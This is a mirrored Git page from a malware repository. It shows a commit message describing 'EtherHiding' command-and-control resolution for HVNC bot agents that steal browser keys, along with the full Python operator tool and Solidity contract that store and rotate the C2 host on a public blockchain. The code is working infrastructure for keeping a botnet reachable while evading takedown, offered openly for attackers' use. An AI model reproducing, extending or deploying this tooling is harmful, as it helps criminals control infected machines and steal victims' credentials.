mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
The agent resolves its C2 endpoint from a resolver contract on a public chain via eth_call (free, read-only), so the compiled binary carries no C2 address; rotating the C2 is one contract call and every bot picks up the new value on next start. Pattern per the 2026 Remus analysis: eth_call with the get() selector (0x6d4ce63c) against a public JSON-RPC provider, the endpoint stored as a bytes32 host:port. Any failure falls back to the compiled endpoint. - src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode, host:port parse, WinHTTP POST with hard timeouts - agent: resolves before the argv/env override so an explicit endpoint still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override - setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for the resolver under TCP; the summary and recreate line carry them - tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer instructions otherwise); contract source included, deployed via Remix - verified: selectors checked against a real keccak implementation, contract compiles with solc 0.8.19, wizard and non-interactive flows emit the config end to end, mock RPC positive/negative tests, live HTTPS RPC probe degrades gracefully, and the full steal still recovers the v20 key through the chain-resolved agent
99 lines
3.4 KiB
Python
99 lines
3.4 KiB
Python
#!/usr/bin/env python3
|
|
"""EtherHiding C2 resolver operator tool.
|
|
|
|
Deploy once (Remix or the chain explorer): paste the contract below, deploy,
|
|
note the address. `read` queries the chain with no wallet; `update` writes a
|
|
new endpoint with web3.py, or prints the explorer instructions without it.
|
|
|
|
Contract:
|
|
|
|
// SPDX-License-Identifier: MIT
|
|
pragma solidity ^0.8.0;
|
|
contract C2Resolver {
|
|
bytes32 public c2;
|
|
address public owner;
|
|
constructor() { owner = msg.sender; }
|
|
function set(bytes32 value) external { require(msg.sender == owner, "owner"); c2 = value; }
|
|
function get() external view returns (bytes32) { return c2; }
|
|
}
|
|
|
|
Usage:
|
|
python tools/etherhiding.py read --contract 0x... [--rpc URL]
|
|
python tools/etherhiding.py update --contract 0x... --value HOST:PORT [--rpc URL] [--key PRIVKEY]
|
|
"""
|
|
|
|
import argparse
|
|
import json
|
|
import urllib.request
|
|
|
|
DEFAULT_RPC = "https://cloudflare-eth.com"
|
|
SELECTOR_GET = "0x6d4ce63c" # keccak("get()")
|
|
SELECTOR_SET = "0xdb80813f" # keccak("set(bytes32)")
|
|
|
|
|
|
def encode_value(text: str) -> str:
|
|
raw = text.encode("utf-8")
|
|
if len(raw) > 31:
|
|
raise SystemExit("value too long for bytes32 (31 chars max)")
|
|
return raw.ljust(32, b"\x00").hex()
|
|
|
|
|
|
def eth_call(rpc: str, contract: str) -> str:
|
|
body = json.dumps({
|
|
"jsonrpc": "2.0", "id": 1, "method": "eth_call",
|
|
"params": [{"to": contract, "data": SELECTOR_GET}, "latest"],
|
|
}).encode()
|
|
req = urllib.request.Request(rpc, data=body,
|
|
headers={"Content-Type": "application/json"})
|
|
reply = json.loads(urllib.request.urlopen(req, timeout=15).read())
|
|
if "result" not in reply:
|
|
raise SystemExit("RPC error: %s" % reply.get("error", reply))
|
|
raw = bytes.fromhex(reply["result"][2:]).rstrip(b"\x00")
|
|
return raw.decode("utf-8", errors="replace")
|
|
|
|
|
|
def cmd_read(args):
|
|
value = eth_call(args.rpc, args.contract)
|
|
print("contract %s" % args.contract)
|
|
print("value %s" % value)
|
|
|
|
|
|
def cmd_update(args):
|
|
if not args.key:
|
|
raise SystemExit(
|
|
"--key PRIVKEY required. Without web3: open the contract on the "
|
|
"chain explorer and call set(bytes32) with value 0x%s" % encode_value(args.value))
|
|
from web3 import Web3
|
|
w3 = Web3(Web3.HTTPProvider(args.rpc))
|
|
acct = w3.eth.account.from_key(args.key)
|
|
tx = {
|
|
"from": acct.address,
|
|
"to": w3.to_checksum_address(args.contract),
|
|
"data": SELECTOR_SET + encode_value(args.value),
|
|
"gas": 100000,
|
|
"nonce": w3.eth.get_transaction_count(acct.address),
|
|
"chainId": w3.eth.chain_id,
|
|
}
|
|
signed = w3.eth.account.sign_transaction(tx, args.key)
|
|
print("tx %s" % w3.eth.send_raw_transaction(signed.raw_transaction).hex())
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser(description="EtherHiding C2 resolver tool")
|
|
sub = ap.add_subparsers(dest="cmd", required=True)
|
|
for name, fn in (("read", cmd_read), ("update", cmd_update)):
|
|
p = sub.add_parser(name)
|
|
p.set_defaults(fn=fn)
|
|
p.add_argument("--contract", help="resolver contract address")
|
|
p.add_argument("--rpc", default=DEFAULT_RPC, help="JSON-RPC endpoint")
|
|
p.add_argument("--value", help="HOST:PORT to store")
|
|
p.add_argument("--key", help="contract owner private key")
|
|
args = ap.parse_args()
|
|
if not args.contract:
|
|
raise SystemExit("--contract required")
|
|
args.fn(args)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|